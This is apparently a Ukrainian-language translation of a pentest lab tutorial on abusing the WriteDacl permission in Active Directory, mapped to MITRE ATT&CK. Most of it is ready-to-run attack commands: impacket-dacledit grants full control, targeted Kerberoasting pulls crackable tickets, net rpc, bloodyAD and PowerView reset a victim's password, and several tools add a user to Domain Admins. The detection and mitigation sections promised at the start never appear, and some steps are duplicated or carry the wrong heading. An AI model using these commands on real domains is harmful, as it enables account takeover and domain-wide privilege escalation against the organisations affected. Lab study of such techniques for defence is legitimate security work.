У цій статті ми дослідимо експлуатацію списків керування доступом (DACL) за допомогою привілею WriteDacl у середовищах Active Directory. Зокрема, зловмисники можуть зловживати дозволами WriteDacl, щоб отримати несанкціонований доступ або змінити існуючі дозволи відповідно до своїх цілей.
Для симуляції цих атак ми налаштували лабораторне середовище. Крім того, ми зіставили ці методи з фреймворком MITRE ATT&CK, щоб прояснити пов’язані з ними тактики та техніки. Ми також описуємо механізми виявлення підозрілої активності, пов’язаної з атаками типу WriteDacl, разом із дієвими рекомендаціями щодо мінімізації ризиків. У результаті цей огляд надає фахівцям із безпеки критично важливі знання для виявлення та захисту від цих поширених загроз в Active Directory.
Зміст
- Дозвіл WriteDacl
- Передумови
- Налаштування лабораторії – Користувач має дозвіл WriteDacl щодо іншого користувача
- Фаза експлуатації I – Користувач має дозвіл WriteDacl щодо іншого користувача
- Bloodhound – Пошук слабких дозволів
- Метод експлуатації – Надання повного контролю з наступним Kerberoasting (T1558.003) або зміною пароля (T1110.001)
- Інструмент Linux Impacket – Надання повного контролю
- Linux Python скрипт – TargetedKerberoast
- Linux – Зміна пароля
- Linux Net RPC – Samba
- Linux Bloody AD
- Windows PowerShell Powerview – Надання повного контролю
- Windows PowerShell Powerview – Kerberoasting
- Windows PowerShell Powerview – Зміна пароля
- Налаштування лабораторії – Користувач має дозвіл WriteDacl щодо групи Domain Admin
- Фаза експлуатації II – Користувач має дозвіл WriteDacl щодо групи
- Bloodhound – Пошук слабких дозволів
- Метод експлуатації – Надання повного контролю з наступною маніпуляцією обліковим записом (T1098)
- Інструмент Linux Impacket – Надання повного контролю
- Linux – Додавання учасника до групи
- Linux Net RPC – Samba
- Linux Bloody AD
- Windows PowerShell Powerview – Надання повного контролю
- Windows команда Net – Додавання учасника до групи
Дозвіл WriteDacl
Дозвіл WriteDacl в Active Directory дозволяє користувачам змінювати список керування доступом (DACL) об’єкта AD, надаючи їм можливість керувати дозволами на рівні об’єкта. Як наслідок, зловмисник може записати новий запис керування доступом (ACE) у DACL цільового об’єкта, що потенційно дає йому повний контроль над цим об’єктом.
Крім того, замість надання повного контролю, атакуючі можуть використати цей процес, щоб дозволити об’єкту виконувати DCSync, додавши два записи ACE зі специфічними розширеними правами (Extended Rights): DS-Replication-Get-Changes та DS-Replication-Get-Changes-All. Варто зауважити, що надання прав GenericAll призводить до того ж результату, оскільки воно включає всі ExtendedRights, зокрема й ті, що необхідні для роботи DCSync.
Дозвіл WriteDacl служить різним цілям залежно від типу об’єкта Active Directory. Наприклад, якщо він застосований до групи, це дозволяє зловмисникам додавати нових учасників до цієї групи. Навпаки, для об’єкта користувача ці дозволи надають повний контроль над обліковим записом цього користувача. Так само, при застосуванні до об’єкта комп’ютера, вони забезпечують повний контроль над машиною. Зрештою, застосування WriteDacl до об’єкта домену дозволяє зловмиснику виконати операцію DCSync — надзвичайно небезпечний привілей у разі його експлуатації.
Передумови
- Windows Server 2019 як Active Directory.
- Kali Linux
- Інструменти: Bloodhound, Net RPC, Powerview, BloodyAD, Impacket.
- Windows 10/11 — у якості клієнта.
Налаштування лабораторії – Користувач має дозвіл WriteDacl щодо іншого користувача
У межах цього лабораторного налаштування ми створимо двох користувачів, Aarti та Komal, де користувач Komal матиме дозвіл WriteDacl стосовно користувача Aarti.
Створення середовища AD та облікових записів користувачів
Для симуляції середовища Active Directory вам знадобиться Windows Server у ролі контролера домену (DC) та клієнтська машина (Windows або Linux), на якій ви зможете запускати інструменти для перерахування та експлуатації.
Контролер домену (Domain Controller):
- Встановіть Windows Server (рекомендується 2016 або 2019).
- Підвищте роль сервера до контролера домену, додавши роль Active Directory Domain Services.
- Налаштуйте домен (наприклад, ignite.local).
Облікові записи користувачів:
- Створіть два облікові записи користувачів AD з іменами Aarti та Komal.
net user aarti Password@1 /add /domain
net user komal Password@1 /add /domain

Призначення привілею «WriteDacl»:
- Відкрийте Active Directory Users and Computers (ADUC) на контролері домену.Відкрийте Active Directory Users and Computers (ADUC) на контролері домену.
- Увімкніть режим розширених функцій, перейшовши у вкладку View (Вигляд) > Advanced Features (Додаткові компоненти).
- Знайдіть користувача Aarti у контейнері Users.Знайдіть користувача Aarti у контейнері Users.
- Натисніть правою кнопкою миші на користувача Aarti та оберіть Properties (Властивості).

- Перейдіть на вкладку Security (Безпека) і натисніть кнопку Add (Додати).

- У полі «Enter the object name to select» введіть Komal, натисніть Check Names (Перевірити імена) та натисніть OK.
- Виберіть користувача Komal і в розділі Permissions (Дозволи) натисніть Advanced (Додатково).

- Двічі клацніть на запис дозволів користувача Komal у вікні додаткових параметрів безпеки.
- У розділі Permissions (Дозволи) позначте пункт Modify permissions (Зміна дозволів).
- Застосуйте налаштування.

На цьому етапі Komal має дозвіл WriteDacl для користувача Aarti.
Фаза експлуатації I – Користувач має дозвіл WriteDacl щодо іншого користувача
Bloodhound – Пошук слабких дозволів
Використання BloodHound для підтвердження привілеїв: Ви можете скористатися BloodHound, щоб переконатися, що Komal має дозвіл WriteDacl щодо користувача Aarti.
bloodhound-python -u komal -p Password@1 -ns 192.168.1.3 -d ignite.local -c All

На основі графічного представлення Bloodhound тестувальник ідентифікує вихідні об’єкти керування (outbound object control) для обраного користувача, де значення прямого керування (first degree object control) дорівнює 1.

З графіка можна помітити, що користувач Komal володіє привілеєм WriteDacl над користувачем Aarti.


Метод експлуатації – Надання повного контролю з наступним Kerberoasting (T1558.003) або зміною пароля (T1110.001)
Зловмисники можуть скористатися цим методом, якщо вони контролюють об’єкт, який має дозвіл WriteDacl над іншим об’єктом.
Інструмент Linux Impacket – Надання повного контролю
У UNIX-подібних системах атакуючі можуть надати собі повний контроль, використовуючи скрипт dacledit.py із пакетуImpacket
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'komal' -target-dn 'CN=aarti,CN=Users,DC=ignite,DC=local' 'ignite.local'/'komal':'Password@1' -dc-ip 192.168.1.3

За допомогою dacledit зловмисники можуть успішно змінити DACL, надаючи користувачу Komal повний контроль (Full Control) над користувачем Aarti.

Як результат, щойно користувач отримує повний контроль над ціллю, він може або виконати Kerberoasting, або змінити пароль цілі, не знаючи поточного пароля
Linux Python Script – TargetedKerberoast
У UNIX-подібних системах зловмисники можуть виконати цілеспрямований Kerberoasting (targeted Kerberoasting) за допомогою Python-скрипта targetedKerberoast.py
./targetedKerberoast.py --dc-ip '192.168.1.3' -v -d 'ignite.local' -u 'komal' -p 'Password@1'

Крім того, інструменти на кшталт John the Ripper та словники, як-от RockYou, можуть допомогти зламати (brute-force) слабкі паролі, отримані за допомогою Kerberoasting.

Linux – Change Password
Linux Net RPC – Samba
Атакуючі також можуть змінити пароль у UNIX-подібних системах за допомогою net — інструмента для адміністрування клієнтів Samba та CIFS/SMB:
net rpc password aarti 'Password@987' -U ignite.local/komal%'Password@1' -S 192.168.1.3

Linux Bloody AD
Як альтернативу, зловмисники можуть використовувати bloodyAD для скидання пароля користувача:
bloodyAD --host "192.168.1.3" -d "ignite.local" -u "komal" -p "Password@1" set password "aarti" "Password@789"

Windows PowerShell PowerView – Надання повного контролю
З системи Windows зловмисники можуть надати повний контроль, використовуючи функцію Add-DomainObjectAcl із модуля PowerView:
powershell -ep bypass
Import-Module .PowerView.ps1
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "aarti" -PrincipalIdentity "komal"

За допомогою Add-DomainObjectAcl модифікується DACL цільового об’єкта, що дозволяє користувачу Komal отримати повний контроль над користувачем Aarti.

Як наслідок, маючи повний контроль, зловмисник може або виконати Kerberoasting, або змінити пароль, не потребуючи поточного пароля цілі.
Windows PowerShell Powerview – Kerberoasting
На машинах Windows атакуючі можуть здійснити Kerberoasting, використовуючи команди Set-DomainObject та Get-DomainSPNTicket із модуля PowerView:
Set-DomainObject -Identity 'aarti' -Set @{serviceprincipalname='nonexistent/hacking'}
Get-DomainUser 'aarti' | Select serviceprincipalname
$User = Get-DomainUser 'aarti'
$User | Get-DomainSPNTicket

Windows PowerShell PowerView – Зміна пароля
Linux Net RPC – Samba
Атакуючі також можуть змінити пароль користувача, використовуючи командлет Set-DomainUserPassword із модуля PowerView:
$NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force
Set-DomainUserPassword -Identity 'aarti' -AccountPassword $NewPassword

Налаштування лабораторії – Користувач має дозвіл WriteDacl щодо групи Domain Admin
Створення середовища AD:
Для симуляції середовища Active Directory вам знадобиться Windows Server у ролі контролера домену (DC) та клієнтська машина (Windows або Linux), на якій ви зможете запускати інструменти для перерахування та експлуатації.
Контролер домену:
- Встановіть Windows Server (рекомендується 2016 або 2019).
- Підвищте його роль до контролера домену, додавши роль Active Directory Domain Services.
- Налаштуйте домен (наприклад, ignite.local).
Облікові записи користувачів:
- Створіть звичайний обліковий запис користувача з іменем Rudra.
net user rudra Password@1 /add /domain

Призначення привілею «WriteDacl» користувачу Rudra:
Після того як ваше середовище Active Directory (AD) буде належним чином налаштоване, необхідно призначити привілей WriteDacl користувачу Rudra стосовно групи Domain Admins. Цей привілей дозволить Rudra змінювати дозволи та, зрештою, додати себе до групи Domain Admins.
Кроки:
- По-перше, відкрийте Active Directory Users and Computers (ADUC) на контролері домену.
- Потім увімкніть режим розширених функцій, натиснувши View (Вигляд) > Advanced Features (Додаткові компоненти).
- Далі знайдіть групу Domain Admins у контейнері Users.
- Після цього натисніть правою кнопкою миші на Domain Admins і виберіть Properties (Властивості).

- Перейдіть на вкладку Security (Безпека) і натисніть кнопку Add (Додати).

- У полі «Enter the object name to select» введіть Rudra, натисніть Check Names (Перевірити імена), а потім OK.
- Виберіть користувача Rudra і в розділі Permissions (Дозволи) натисніть кнопку Advanced (Додатково).

- У вікні Advanced security settings (Додаткові параметри безпеки) двічі клацніть на запис дозволів для користувача Rudra.
- У розділі Permissions (Дозволи) позначте пункт Modify permissions (Зміна дозволів).
- Нарешті, застосуйте налаштування, щоб зберегти зміни.

На даний момент Rudra має права WriteDacl щодо групи Domain Admins, що означає, що він може додати себе до цієї групи.
Фаза експлуатації II – Користувач має дозвіл WriteDacl щодо групи
Bloodhound – Пошук слабких дозволів
Використання BloodHound для підтвердження привілеїв: Ви можете скористатися BloodHound, щоб підтвердити, що Rudra має дозвіл WriteDacl щодо групи Domain Admins.
bloodhound-python -u rudra -p Password@1 -ns 192.168.1.3 -d ignite.local -c All

На основі графічного представлення Bloodhound тестувальник ідентифікує вихідні об’єкти керування (outbound object control) для обраного користувача, де значення прямого керування (first degree object control) дорівнює 1.

Таким чином, інструмент показав, що користувач Rudra має привілей WriteDacl щодо групи Domain Admins.

Метод експлуатації – Надання повного контролю з наступною маніпуляцією обліковим записом (T1098)
Інструмент Linux Impacket – Надання повного контролю
У UNIX-подібних системах це можна зробити за допомогою скрипта dacledit.py (Python) з пакету Impacket або використовуючи команду impacket-dacledit.
impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'rudra' -target-dn 'CN=Domain Admins,CN=Users,DC=ignite,DC=local' 'ignite.local'/'rudra':'Password@1' -dc-ip 192.168.1.3

За допомогою DACLedit список DACL для цього об’єкта успішно модифіковано, і тепер користувач rudra має повний контроль (Full Control) над групою.
Linux – Додавання учасника до групи
Linux Net RPC – Samba
Тестувальник може зловжити цим дозволом, додавши користувача Rudra до групи Domain Admin та переглянувши список учасників цієї групи, щоб переконатися, що користувач Rudra тепер є адміністратором домену.
net rpc group addmem "Domain Admins" rudra -U ignite.local/rudra%'Password@1' -S 192.168.1.3

Linux Bloody AD
Альтернативно, цього можна досягти за допомогою bloodyAD
bloodyAD --host "192.168.1.3" -d "ignite.local" -u "rudra" -p "Password@1" add groupMember "Domain Admins" "rudra"

Windows PowerShell PowerView – Надання повного контролю
У системі Windows це можна зробити за допомогою командлета Add-DomainObjectAcl PowerView
powershell -ep bypass
Import-Module .PowerView.ps1
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "Domain Admins" -PrincipalIdentity "rudra"

Windows Net command – Додавання учасника до групи
Цього можна досягти за допомогою вбудованого командного рядка, використовуючи команду Windows net.
net group "domain admins" rudra /add /domain

Таким чином, у властивостях користувача ми можемо побачити, що користувач Rudra став учасником групи Domain Admins.
